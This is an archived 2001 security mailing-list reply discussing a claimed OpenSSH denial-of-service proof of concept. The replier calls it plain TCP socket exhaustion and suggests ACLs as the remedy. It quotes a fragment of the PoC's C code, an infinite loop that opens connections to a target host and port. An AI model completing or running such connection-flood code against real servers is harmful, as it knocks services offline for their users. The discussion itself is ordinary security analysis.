Re: Possible OpenSSH DoS Attack

From: Josha Bronson (dmuzat_private)
Date: Mon Dec 10 2001 - 18:34:32 PST

  • Next message: Robert van der Meulen: "Re: Possible OpenSSH DoS Attack"

    On Mon, Dec 10, 2001 at 11:19:18PM -0000, Pedro Inacio said:
    > --[ OpenSSH DoS Attack proof of concept ]--
    >   by DrBrain <drbrainat_private> / http://www.phibernet.org
    > 
    > 
    > --[ Intro ]--
    > 
    > After some tests with sshd, I have noticed that it is possible to generate a
    > DoS attack that gives you the following message when you try to contact the
    > service:
    > 
    > ----------
    > $ ssh userat_private
    > ssh_exchange_identification: Connection closed by remote host
    > ----------
    [snip...]
    
    Isn't this just TCP socket connection overloading? Fill up the max
    amount of sockets and then the OS (any OS as I understand it, all with
    differant limits of course) won't allocate anymore?
    
    Not much to be done except probably a good set of ACLs...
    
    >   for(;;) {
    >     servAddr.sin_family = h->h_addrtype;
    >     memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0],
    > h->h_length);
    >     servAddr.sin_port = htons(atoi(argv[2]));
    > 
    >     sd = socket(AF_INET, SOCK_STREAM, 0);
    >     if(sd<0) {
    >       perror("Cannot Open Socket ");
    >       exit(1);
    >     }
    
    -- 
    josha.bronson(aka->dmuz) >> dmuzat_private
    networks/systems/security && CCNA, RHCE 
    josha.net || dmuz.angrypacket.com
    



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